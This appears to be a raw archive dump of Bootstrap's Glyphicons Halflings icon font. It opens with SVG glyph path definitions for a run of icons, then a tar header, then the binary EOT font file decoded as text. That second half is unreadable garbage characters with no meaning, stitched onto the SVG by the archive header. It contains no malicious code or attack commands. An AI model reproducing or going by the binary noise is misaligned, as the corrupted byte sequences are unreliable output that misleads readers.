<glyph unicode="&#xe167;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 700h300v-300h300v300h295l-445 500zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe168;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 705l305 -305l596 596l-154 155l-442 -442l-150 151zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe169;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 988l97 -98l212 213l-97 97zM200 401h700v699l-250 -239l-149 149l-212 -212l149 -149zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe170;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM200 612l212 -212l98 97l-213 212zM300 1200l239 -250l-149 -149l212 -212l149 148l248 -237v700h-699zM900 150h100v50h-100v-50z" />
<glyph unicode="&#xe171;" d="M23 415l1177 784v-1079l-475 272l-310 -393v416h-392zM494 210l672 938l-672 -712v-226z" />
<glyph unicode="&#xe172;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-850q0 -21 -15 -35.5t-35 -14.5h-150v400h-700v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 1000h100v200h-100v-200z" />
<glyph unicode="&#xe173;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-218l-276 -275l-120 120l-126 -127h-378v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM581 306l123 123l120 -120l353 352l123 -123l-475 -476zM600 1000h100v200h-100v-200z" />
<glyph unicode="&#xe174;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-269l-103 -103l-170 170l-298 -298h-329v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 1000h100v200h-100v-200zM700 133l170 170l-170 170l127 127l170 -170l170 170l127 -128l-170 -169l170 -170 l-127 -127l-170 170l-170 -170z" />
<glyph unicode="&#xe175;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-300h-400v-200h-500v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 300l300 -300l300 300h-200v300h-200v-300h-200zM600 1000v200h100v-200h-100z" />
<glyph unicode="&#xe176;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-402l-200 200l-298 -298h-402v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 300h200v-300h200v300h200l-300 300zM600 1000v200h100v-200h-100z" />
<glyph unicode="&#xe177;" d="M0 250q0 -21 14.5 -35.5t35.5 -14.5h1100q21 0 35.5 14.5t14.5 35.5v550h-1200v-550zM0 900h1200v150q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-150zM100 300v200h400v-200h-400z" />
<glyph unicode="&#xe178;" d="M0 400l300 298v-198h400v-200h-400v-198zM100 800v200h100v-200h-100zM300 800v200h100v-200h-100zM500 800v200h400v198l300 -298l-300 -298v198h-400zM800 300v200h100v-200h-100zM1000 300h100v200h-100v-200z" />
<glyph unicode="&#xe179;" d="M100 700v400l50 100l50 -100v-300h100v300l50 100l50 -100v-300h100v300l50 100l50 -100v-400l-100 -203v-447q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5v447zM800 597q0 -29 10.5 -55.5t25 -43t29 -28.5t25.5 -18l10 -5v-397q0 -21 14.5 -35.5 t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v1106q0 31 -18 40.5t-44 -7.5l-276 -117q-25 -16 -43.5 -50.5t-18.5 -65.5v-359z" />
<glyph unicode="&#xe180;" d="M100 0h400v56q-75 0 -87.5 6t-12.5 44v394h500v-394q0 -38 -12.5 -44t-87.5 -6v-56h400v56q-4 0 -11 0.5t-24 3t-30 7t-24 15t-11 24.5v888q0 22 25 34.5t50 13.5l25 2v56h-400v-56q75 0 87.5 -6t12.5 -44v-394h-500v394q0 38 12.5 44t87.5 6v56h-400v-56q4 0 11 -0.5 t24 -3t30 -7t24 -15t11 -24.5v-888q0 -22 -25 -34.5t-50 -13.5l-25 -2v-56z" />
<glyph unicode="&#xe181;" d="M0 300q0 -41 29.5 -70.5t70.5 -29.5h300q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5h-300q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM100 100h400l200 200h105l295 98v-298h-425l-100 -100h-375zM100 300v200h300v-200h-300zM100 600v200h300v-200h-300z M100 1000h400l200 -200v-98l295 98h105v200h-425l-100 100h-375zM700 402v163l400 133v-163z" />
<glyph unicode="&#xe182;" d="M16.5 974.5q0.5 -21.5 16 -90t46.5 -140t104 -177.5t175 -208q103 -103 207.5 -176t180 -103.5t137 -47t92.5 -16.5l31 1l163 162q16 17 13 40.5t-22 37.5l-192 136q-19 14 -45 12t-42 -19l-119 -118q-143 103 -267 227q-126 126 -227 268l118 118q17 17 20 41.5 t-11 44.5l-139 194q-14 19 -36.5 22t-40.5 -14l-162 -162q-1 -11 -0.5 -32.5z" />
<glyph unicode="&#xe183;" d="M0 50v212q0 20 10.5 45.5t24.5 39.5l365 303v50q0 4 1 10.5t12 22.5t30 28.5t60 23t97 10.5t97 -10t60 -23.5t30 -27.5t12 -24l1 -10v-50l365 -303q14 -14 24.5 -39.5t10.5 -45.5v-212q0 -21 -15 -35.5t-35 -14.5h-1100q-21 0 -35.5 14.5t-14.5 35.5zM0 712 q0 -21 14.5 -33.5t34.5 -8.5l202 33q20 4 34.5 21t14.5 38v146q141 24 300 24t300 -24v-146q0 -21 14.5 -38t34.5 -21l202 -33q20 -4 34.5 8.5t14.5 33.5v200q-6 8 -19 20.5t-63 45t-112 57t-171 45t-235 20.5q-92 0 -175 -10.5t-141.5 -27t-108.5 -36.5t-81.5 -40 t-53.5 -36.5t-31 -27.5l-9 -10v-200z" />
<glyph unicode="&#xe184;" d="M100 0v100h1100v-100h-1100zM175 200h950l-125 150v250l100 100v400h-100v-200h-100v200h-200v-200h-100v200h-200v-200h-100v200h-100v-400l100 -100v-250z" />
<glyph unicode="&#xe185;" d="M100 0h300v400q0 41 -29.5 70.5t-70.5 29.5h-100q-41 0 -70.5 -29.5t-29.5 -70.5v-400zM500 0v1000q0 41 29.5 70.5t70.5 29.5h100q41 0 70.5 -29.5t29.5 -70.5v-1000h-300zM900 0v700q0 41 29.5 70.5t70.5 29.5h100q41 0 70.5 -29.5t29.5 -70.5v-700h-300z" />
<glyph unicode="&#xe186;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v300h-200v100h200v100h-300v-300h200v-100h-200v-100zM600 300h200v100h100v300h-100v100h-200v-500 zM700 400v300h100v-300h-100z" />
<glyph unicode="&#xe187;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h100v200h100v-200h100v500h-100v-200h-100v200h-100v-500zM600 300h200v100h100v300h-100v100h-200v-500 zM700 400v300h100v-300h-100z" />
<glyph unicode="&#xe188;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v100h-200v300h200v100h-300v-500zM600 300h300v100h-200v300h200v100h-300v-500z" />
<glyph unicode="&#xe189;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 550l300 -150v300zM600 400l300 150l-300 150v-300z" />
<glyph unicode="&#xe190;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300v500h700v-500h-700zM300 400h130q41 0 68 42t27 107t-28.5 108t-66.5 43h-130v-300zM575 549 q0 -65 27 -107t68 -42h130v300h-130q-38 0 -66.5 -43t-28.5 -108z" />
<glyph unicode="&#xe191;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v300h-200v100h200v100h-300v-300h200v-100h-200v-100zM601 300h100v100h-100v-100zM700 700h100 v-400h100v500h-200v-100z" />
<glyph unicode="&#xe192;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v400h-200v100h-100v-500zM301 400v200h100v-200h-100zM601 300h100v100h-100v-100zM700 700h100 v-400h100v500h-200v-100z" />
<glyph unicode="&#xe193;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 700v100h300v-300h-99v-100h-100v100h99v200h-200zM201 300v100h100v-100h-100zM601 300v100h100v-100h-100z M700 700v100h200v-500h-100v400h-100z" />
<glyph unicode="&#xe194;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM400 500v200 l100 100h300v-100h-300v-200h300v-100h-300z" />
<glyph unicode="&#xe195;" d="M0 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM182 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM400 400v400h300 l100 -100v-100h-100v100h-200v-100h200v-100h-200v-100h-100zM700 400v100h100v-100h-100z" />
<glyph unicode="&#xe197;" d="M-14 494q0 -80 56.5 -137t135.5 -57h222v300h400v-300h128q120 0 205 86t85 208q0 120 -85 206.5t-205 86.5q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5zM300 200h200v300h200v-300 h200l-300 -300z" />
<glyph unicode="&#xe198;" d="M-14 494q0 -80 56.5 -137t135.5 -57h8l414 414l403 -403q94 26 154.5 104t60.5 178q0 121 -85 207.5t-205 86.5q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5zM300 200l300 300 l300 -300h-200v-300h-200v300h-200z" />
<glyph unicode="&#xe199;" d="M100 200h400v-155l-75 -45h350l-75 45v155h400l-270 300h170l-270 300h170l-300 333l-300 -333h170l-270 -300h170z" />
<glyph unicode="&#xe200;" d="M121 700q0 -53 28.5 -97t75.5 -65q-4 -16 -4 -38q0 -74 52.5 -126.5t126.5 -52.5q56 0 100 30v-306l-75 -45h350l-75 45v306q46 -30 100 -30q74 0 126.5 52.5t52.5 126.5q0 24 -9 55q50 32 79.5 83t29.5 112q0 90 -61.5 155.5t-150.5 71.5q-26 89 -99.5 145.5 t-167.5 56.5q-116 0 -197.5 -81.5t-81.5 -197.5q0 -4 1 -12t1 -11q-14 2 -23 2q-74 0 -126.5 -52.5t-52.5 -126.5z" />
</font>
</defs></svg> fonts/glyphicons-halflings-regular.eot000060400000047502150710775200014201 0ustar00BO�M�LP�X�.(GLYPHICONS HalflingsRegularxVersion 1.001;PS 001.001;hotconv 1.0.70;makeotf.lib2.5.583298GLYPHICONS Halflings RegularBSGPv�5O5U-R���`�W�hKqJx"U:r,/�4\��li����ʚ�E�LFM�ƀ�V(g�W6���V�`m�_�fZ�}�~���H���i%�[Dd��"w��z�,	ߘ��bA�i*���+2��8���,媳��B�IP�fI�͡I�އ�+ͱ�w�3�-�鵫b�b�	ˋ\.�f�0�g��-�}�P1�'�=����n}@��@ر��r��U
�������+(,��Ug�c��1�w��L��9���n�`��Gv�!�(��\S��JT�s�3d�&ru�N��]�}�Lq���4��5W�e�o@7�@��`�m`ʆ�6��P	p\�qf�3h<@A��U&Q�*���]X�%i�,g!RB�a/2�2!y3��tM��
E
�zE�2Ѡ˜�p¨E�`��2�)�;�B���h�P*�Ю}.]�jE��+I�*(L���=�s�VsX�N��:���e�Oo�[������P6�R��6<k�[��|��E���
ӅI�Dq���.崛_���B� VL*��T�ʅ �R׾�iYVnr+���u؂�Z`�m���w]=ߏ�7�t%?�|�\�f چ����E��/�$�#J�w�0I�'�|�$t�	��\D�a�Q0"r��@1zo��yِ�$:ǀ�&cčzT�%�\��塣�E	�%�9�,�als�3C��aݱ�8��J�m���9���#�
5�S��	&�8�J�!9����Î��Ȱ{8������f���P��g<����2]&*��!h-��٘C\9�Z�����[	4t;NCtb�F)3*DJ�Q�K�#/+{ZŊ=6�e����YX���!yl`#�A��
��J��uOR���O�'�' �$Ƚ���;�K�u��H�@z:���TӬ�$�\0i��e�a��&���O+�I�(�T�Q0aN�CI�MV�s��=g9�m�}�q���8pN�)����_��oi���
�؝D>����t�/�l�gx(�y{a��D"��Z���� �1���(�dWN���r�G��|�M�E�X���qە��:Ä"59Q)3e�B`\���YG>X)I '��_\j�ЋX+��o��z��Ty7*au(�����B	��@��h������a@8��H��{/���<�����bb�l�j���6s� �v�)K$F��Y5�E�D�)�EZ�3V��f�S&?"�����
°�}��2Q?��	�h�宿���64��3���Y+4W�����R@ �P��ѯ2YJ��ٌ��T�Cɝ�Ec*��4�g6���켤[3|�C����Y�}��
eR�_|�o��EI�{��c�	%�f��_�YQ�W�Z`�}<Qᾙ�$��ylN����5�)<�+MzO�Ď�>.����ُ���	ʾ��0f�e3x1Q'��p�k^���,�[Q�Ӏa����lf�@.�]�JYo4��_�������]�ă�98B	�x���b���95�"u�H�0�S�?�	�q�+�� �T�'(a�;:�<m�H�L�de�M�̤�ўo�2SQF��2c����(�:B��l��:���(��=<��J�,� ���k*G�2�Cǭ�$���\	��[ͩp�.+�|�0��L9:G�>b��YDo�V9hd,�яij��m��T�eX2W���^q���j�>!�*ac�z�8Y��"'�r=��φS��*!\!�v�����4��IQ��aʇ�����m��i��R���3N%��J�x�">7���22M~��ʽ2f��G�%!)q�A����8(�
�b�v�^�*�[p\ �6t��
w�Cs���Ґ,� l�f	Cӹ�i�ScD��'3��M��%��f��a��� ��K���(q�*�M�B��$���H��\�g���p��˛��2Ԃ�X�AX�8<f�rP(+CCx �w3=XI��+�JSWs;�($�te9p�W�v�Dj���b{$�>�p��(өjĩoBf�C #�L%cf��tn�pe{\��듇���7�
,��X�ıP�%�"�7�X�^�P5�,M	v�ɓu��U�:A��I�1\�r8���iE�x�X����;dS4�f����IüI�O�R���H4
�(F��Fr���x�b7UЈ@��)y~c8���	8�=��o-��+��n���3��D2 ��� �5�Lf!����7���Yd��>��N�y�}���6�������+���9���T�k�)$Eԍ�JdZ���ٟb����Y�Qt9���0l?,�����G )�yaGA�;;Et��G���5v���!r��Ϩ�&����HA��t�H�QI�6��_[����՛ą��O�͂�Dk��3Q�X,��)�+���lUb'�v��/�4/�h�8�P���nAH����)��
Oc[��;$�0f󨡭��YnK0���s~��kR_�gA��c 1��x����G ���)`B�Y��|\�P��8��0f�
�i?�6!�<���V�r�v���2�y��ĭ�(�c� Ծ��h��p--�0�R�U�B�o�F�I)�OŦij2j�D!Y|`�	�j��,�"
��ec)1�d:n*�����F�]�|r�=�q
���
	���l�&�#n�v��[�g�L�iZ�,��IP����v�*��]�/�
&��_A.P@��m�5*W�fS��]*�`�g�5�˺r3̝݁]Bo
�h����r�/OD���Xk�!�K�9e��%������#{7Ap��F�pt;��3̔=�$)�@��Paw&����ql�=աr������J��ʆB����]��n�
u���&�ǸJA�{�)mP���F�l/�0,&w��pӄ�Jܵ�cHK��m
��^�r�d��p����J�a	��
�a��&[���z���A†'~(�/�'[hvo�X`�e����@�0&�fk���p�d�d���hFe��T��]���%Q*������%RB���Y���Xz��'R2�s�\8f��=��h���s�zGqntU��"=f]�B�`�|�xZŴ,�('{$$��LYS�Ŕ���o��m" �P:��������P���#/JD�����Ê�d�-,��:N"�Aۜ{m"ej��J݂����%�C(�v�3Mx�:�y�AI3�5�/��!o�_��ȕ~gŅ���u{���}�Y��&���I�rwH�٥ Ѳ�ڞ���"�@��ڳv�4a�F��,	�!W���E�e�$w�2hD�$��!…B�K����)V"��
z��u�з�L�^��{�<���7��+�����7���EF!��	Uv�!!��4=־�.�}$�bボ��������&�c�8�,�<ܣ
@Ù7t}�Җ�!���G8sa�}�����
�d^IGt�&(�"���)\�<�c�8��%�v�v��
 fPn�./���� �
!��d@���Fh��0k�����Y�t����#_K�gS��:0�s(���__34
�X*���|B4v}a����D*Ww��wK)���p�6�������z��B	5|R)SP��ڭ����ԃ�&�>;$��\0$d��2����'��ЍZ]d};et_d^�$�k��z,� +���ɭȄc�8Ѕ�0!O�DP��d�-l�8 ����@��M%����хx��\�)W������Yl��(�|�V��lN�No�B����@S��:~e�Ɏ	��B����.�a����bې��dmu�YH'����#'�v���c���=���lN�$B��U�>c�jM���)R�������R���P
���,�!�?��*��g�o$���3@�d��6<�2?ѭ�/��ϪX%�,NP�����J��o�<�sm���t�(�3�X��@Y�3�/����3d�8]Iډ79Y�`�L$�Z��V��ԃ�B:kb�[5��@PZ�!e"-6�F.�$[+�}���YAB���`2���|���e��5z5�2�,�"���b[/�J��.+�W��ՠ���Q�(4��F���132њ��T�c0��ńEM:� G�nBۤ�e�65�Y-`��0��ρ�$�N �H�X�PZa����jL`�^D���XJ	�!�d�
�H�X9�E�}����\ư/�4"
����{w��
1)P��B�V�"?���={�����j��Q�T��B"�"���֍�������\�k��I��q�yp$A;$��~��L\�ʔ��wdU�@�y�m�}��;�u�f"��A )>��'Ё+�!œ�d�-�i�1��!��gh�g�\g���"�[̳]b��1B��#�A�Ć�$���]vx<Lǯ� $0�&pb�H�9�6GJ�!ܘ&0�����7�.��ʮb��aB]I^/B�|�-�,Mp�U�:EpfYDw�'��y3���s�x&�"
�`:!ϒ�1�u�H���9�XZO�GDs�	�A}�,N?�U�'��i�3iÀ��"_��C�M�����X���5�W܊w��/����	s\ӄ��}0�`_���@An�~��B�(P�{bf;�ң�%�U��¸�L�]|����G$3"yJ�	v
xcym���v�0�3�B}��/�n��mզ����+�v��\Ӳ�ݻ~�hs���^-�i�!Z��i�4U�Z��e�D��F��H,]w@
hF�ʶ`�4G��D:p�I���a5.T$�����Y�T�Ӭ�~�>���h\�mȴ�ϑ"i���(�0/����ś���4\�P��3�;�r673<F=�G�2��S�͕���|+�+��@�~��Jx"��9H�k�x��cs1��ܘ"Cy2oK��`8f���<Y���G��RW�0��;#�XF�BOz즭2�
�\L6���&eD�ۣ���k8��aY�)�B~d���[��$��)o}��O�u�ߒ׮�����>�A-���DG�cO�a�\E��X���;ԁ�l�2?�Ȁ���:}����Ij,��,�1�ɑE2	US��������W�)�C�0��ළ(�
���v>�0�Ǻ�np[L���P3@4�]{T~A?񁁀����X4�gY)�3�<2^.+�[��Ja
���Lc���E�;DUI`$�H#`2r�-�@*�EEŰ�Oc��	U/㪽%�]�ϤBVe�ݖ�F���(n!���g�N/�<9���B�<�����u�T��Ո��>W�/�d(ᨦ:�9RN�+h�|�
�����$�#��g@q!�(=�~�5�$����?��x�Ԛ[�!�e���m��1��8��%
�,���E!l[������/�)^�ʥ�Y��������� q�N)���槪���ߎ��O�~�N�p?a�i �=��0�(�$S���!�w�f`-�l.j�98��L�����w�i;��"͑���\��\��+�?��_lQ"�Zݭ�N�q�U.�
YTX3L���H'�N'c��7ሡ�P����q8����s�_�NCR.1!
sX�$�M���,�|8<@�>�}��ENt��lX��{�t�� F��ʊ1��!�7j�4���E��"�^ˍ�������p.��̖���
��꘩3��@h[���0z�d�T"�q��mh&�������Π�KlJ��L��O7���lQ!��%t�����eV=����C��@R�$M%G�*�1�@�^�PQR��Z��L-�,�1�#	�eAm�E�4�r�͘}�cJ���$���Q�S*RS���x!
�͞�aX��7�;�@"oY�ka���1��O�+��~�4����J�Q�~ה\V�p&B!�w��=��'l=����Ď�.D�-͇�$�K�l�YD������
��U�4�M�5 �gD�����G�h����<�<'��<_�`�r���� �<��`���P�gm����XP`ѧ��w�����^��`#�z-\�#�>J�-	�B���/�W��3]��@�Lo�u���/^ra�@-�TAYZ*���,���H�f1Z�D��F�����ZL!<<��R ��:.��J��U-J�-d���n8%�3j���x��0�¸�T��䡋�h��A�6��񖐈"��j�I���{�u#y�VY,Һ����CdY�������|N:B�(�XN��P�|�E3wQi�6Ҹ� a3N���*n��t^�s	�k+����H�h��v2�0���d &�����j�	B8����N���L�Ŵ��^�8�*�'�h��]:s�旇�Ǫ��$�5�q��_.k�~aD�E�s}��#/i�Ǥn�&�"58��7d�i�2��TqY�P�L�F=4���Y�"?�F��[��Y^��9
Z��NJ7�gH��i�j�i!ɕ�-�Z'��2�p�Pp�,��`�:�TOM6�T��_�&�tΒ��� �*�o����7��;���G�m�*���g�?4�d
tP�I���F�&�(w��W�v[�(O����$K@��F�-{��
d�Cn�A%$[A��7,Ld�����G�:2��g�4̵3�̕�x� T��<Qz�nM`�8]d�CR�LA<֦� nC\��Z�5g���+���m����a��
k��C���A
�PO�ҏ��+��5�̛�"��~t�Fmu��L��[D�rܙ�&<!�l�S�#��L�Γҡj����%���7U��B��j�<����V��Ђ"��[�PHu��A:�R�M��v����#�ǟb�
F�@�4R�pi�h�h.�1���V��HYC�E�w�‚���}�Q�(e�5��~�Oc�6d����O�''S��vL�J�KyM������aC�H!Q&v�܁�E��	�=!q@r(ǵʖc�\��1m1�Ȉ+��.ں�I���/~�[���a��zIςL��v�Y�#�V/�i�eO���x�@�� H�ʾ�t�����@�z���?ID�'�p�C�A�ь��	�7�P����Iѝ�k�m����F�#7�v��93�g��(v��Y�)��p(�g@�d�'�A�Pxb᱁be���*@�������;bL�d
/b�`�t��R}�7�b-��iQwr�YF���u�ə��N�̧�l)���"�3J�d4����=����Gı�"T
:Fq���(�ˣ��3���ؐӯ>�^Z�FKp�	�K+X����ϸk�T��@Dv���12��=�G4h�a�Y�����p�J�JsC'�fHcوM�-P��H�)ot/5�o!��@�=�8�pc7��cBTh|q�����$�� ������_�qP1F����q�&��2�O���V����4h�:���<�V4�.�|�
#��<��v��Ա���#
A�z�[t�m������T�ձs�m$^�~���вk��cM�pA�Ƞ ����rN�B�V�2E;��#H���J0�x���NF4-��0I~odT�f\�(h.tqQG<`��d��|(�j�B���إ|! ��ֶ�O�e�袐���B))m�SX�]��u��SHX2�+�}�L��F���]%J���O0�U�*p��V�
�i�IAt���6�G�T�����C�Y����~9<|�Ƣ۩&��+�ϕ�s7х�;rS�KN> bK��n	Kk��9�:]`�=h��Cr@����ys8�r�-���dzd���e�\�J授�| S�: ��%�����&Ҕ`"��όbȯy%�Z�"x�ō6)U`��d�K�,P�i1��%�Y8)�d�j����C�i#Y�
rd��D�Y��|�)�ʡP[߻Pqj�;,�EVcL��!4o�>�ZFέW��y~��#��hO1h|m�>6&�� g�&K�i�_q�$m�r�ǫ9��gV����Fi5).`)s�&�˴��m%�!0<��:�I�씜K�Jf�M�T�Mj�������N_CL��G��!�c�M*�5��1�n~��0�q�w�!sd��λ?;���L�j�e��^��ԇ-���0���4GBT���N^*L�)x]#�t:��B�K�k�4����BW��>$R����߸S��2E*Ƽ�>:\|�P�U�	���X{��;|
fk ��d��dQ$�ʲ>�tf�Α���6�,N\tDn���E�Ƥ,��nf�� E&��i�qiy4���ɡ��J?	�����'ͧ���F�#���/����hG���
��C����'��8Jf��<vM���I^N��I�I5`������Nb$��V~G�u�R��(�a?ib~Vv�$����߭G�M���s�Y�G{GEJ8�V���ض�`ɝ�D�vq �b�(D�RP���ZpO,�߹�3Z�F6�(��[����$r
lv(4Wm/�H��ȨT�7��a<���K��I>nf�aS�����#��Ӏ��o���0�QDAg���/ť��y��.d�
C��p&��Qx�'��މQ�?��YV�G�W!������t&H������ �cT�Z��uh7�gC�`^(���_���ǎ����،G�u���	lP�V@�@��z�JP�e�����/��"�We8�J-s
H7�a�[�:��|�R��ǁp
ac�
U'���?��81��>��y��.���O�vJ�&�m������pZ�x��mQ���R�`xG�L��΄x�F�	�~�Ư��٤n�g4q�V��[4�����\lmǜ#S�k�g�@�N�r⎶���NQS��h8�ێ�Kg)�^F�^��A�Ա�U������KxT�v#�I>l���c߻f�8�ExҖ+-s�!�
B�se��c.S�Ə�8�/V*��1�o��)����v��p-��-��Ӿ�]JQ��	�9�4�7�ŎK��ƾE�z=l�=k��}j�&��9S9APIW��Y��jn��a�L=����D	�-c�1c@�a]�
��Qg��`��}�I�q(A��L�'��4LJL��%>;�Uw��n&Ґ���9J��[θi�CjE7�O��k�.Z���Qk�E��/�]ׯ%�\�2�])�Did��x}6<���=��V?y�MFp8X*>�C;U���V!U��o|�%�Px2Ű�$�`UlBj�ީ
\��x����q촙(
FlI�k݊�!����&jh�S>
�K?��!��H
�X{/��u���v8�D��&}��@'^A�8϶`�Z�s9�-�:mu�<�nS)�	X\/�*;	�=�D��r46�%0�B1@#���e�".�"�E�������6*MY�R�\��ZN����ͩ���=h;�78<+8#q�cA&֊��^:���ʨ&~��}�@�8��ɕ�����u���R���b�@�R�t�� �L��T�e�8�
'�pC��ZV5
��kZ��d�r��͹ZHs�6�J����5Hʎ��D���Q=�UH�Ƃe:ky��#D��K���7v��/��V��!�:o��a<�7B�ɏ������n��!O�q��M�a��
a4��ӊ��V�C�`��8'��xT�\Т;⊂�)��T�\'\�'>RD+F������hZ�Z�R���k����GנI�}�x���6�G���K:^{C�0bP�"#��4Dy�Z!^9j���YN��%aS�w;T)���k�$�
�hqH�O��>��/�<a��}dI���]՝��i�:}�ٽ|��lҦ}�b�����z������iӷ�H՞(q;̸q-��3E���@ʓ��I�"H��0�)�;G1Sѹ��z��nc����<<��@A�x�RT�@<�J�^���Y~�-��Ҧ�� 
�Ҟ��A���5&���"�QS�k!�k�%�!#�y���+��ӝ�]�#�7~JL(R��u��]T�@�����g��H����2���	�o�9p�R��޶��Z��'>��҅F�P+��:��`���	K^���u��J����>xx�)GS��O݃K,xU��9�Q��F���Sx%JO<8Nj7��f���^�Қ�͊�_S
q�q�BGS����'�AL�ط�<VfNG�=ei`WA-FG��2m�"��G����=4�4q�*�FUC0ŖP?�/��`��Y�S���8�Dn��A���4��@�v�8˳�)�gb!�&5š�Cq�'���u`$��tE1�&2Թ�"���cl�T�Ϭ�#������i�ӭ)w���+�N�pu5xE�f�\��2������K��`����}ѵ) J�hmS��xۊ��n�-��e�:�X����a�7)9�}?Y��{܁Rk#O%%%�����Q_��e�2EZX��N�
�]��(��?{
�o�� ʱ��B�O!�"J@��l�2�0��[��a1�2"���y��ʇf�n�pd@�O�@G���B�z���l�3�\���`�G�Ȋ	ȧ��3#�r�EiRS%�-k�44]����I���H�j:����RO�U�p�lfO��~T��75h�&���R�J�K�8r��00>�	1�#�p*�D�߻���<`FoÁU��M��g5� ��W����pE�ėT�xyiYm,�%��hTM6�Q��U�
�5&.�K�dQp&�=���/34v�n�;�r�������������*�CD ���\Y��l� q4��p'z��܈G}��[c��,^{�ڌA_5xZ�0y$mn�PX7��F�j���/�M
mq��P�!��[$�f�6Z��q��[]ϗ�Y�1�>���ؠ��j����˕��>�Z�4_�aƼ�����`[��EyO{-�m�=��J��;an�BF�$�ˀ�t��X��n��ta��>�D.5�M�q��C q��[%�v*Ȋ�#G`��c��q,�sl�|�z[��|א�B���rӦr�Ϡ�F_c����[��$� BCJ����-�ΝH��
j�G�)RDYDŽC��mP%~_�zB[��"��?�vh��`:�A�Qx<�p
�af��R!�!�5�zU�#�IVוawDO��o}���5u����t>e*:7G��9܍�M�:{gzyS�s�pL����9�2X����_ۍ���
�)���>��a�^y���"2��Ż�K^Uo}����SKޥ*�t�vL~��#�:b-�hvN��y?D�)�'����J��8}$�5j���F��bay�)qگ��	��G��q���T�c�l�H���o�_
�T=��nn:�J�[

�:`	#5�����a��ĩp�
I-Iw#�^��im�|�@Z�D�D+���3��m��G�@��qo�³N��#��+2���s
8X���A�%aǃ8YbnZx�{/�M�=����D&��Bt���L�#����iY��N,`��~�u�#U��t�D����?�؄�v�g0�E�G3�dHp,�,���Tpm׀�&�3Ư9I��nVR�iYi��a���xɧ���;)b�>7���tVN0��y#�)6�[�k�I��V��r�T9�3>0���L�u�r��p"Mx��>�mc�eT㓸<��H������`�g'�h���]�h1ϩOJ�����C=�3s�_7�K^g�Ѩ(��tq�dn\�n�X��.��b�5Q�_�����I�-ʕ�R9(�c��Db��0\t��l��v�?%�<A�L�`>X{A��d�AZ?���'��R��l%��L2-�4�CM����8,��6cP>��B�Ƕ�$�_7�oF<z�~E���A�$�y|Fr`��B�#�	��O���"��;��QTP�C�^*ːNa��&M!"Q�F=U\��k��x"w��Mߡ��q�u���O�a��4*#/A�x� ��K���0�!+�Ul�2��,��k�D<z��8�	�w���s��3ٹ?¬p)��'${�Rs�D�_1kD*LP<�2+o�z�\���[�8��V��$-�i~�+q@�ǃ	�4�	CRfY,�P%(��KQ(����E�#�O���O��A&�H"X q<��J
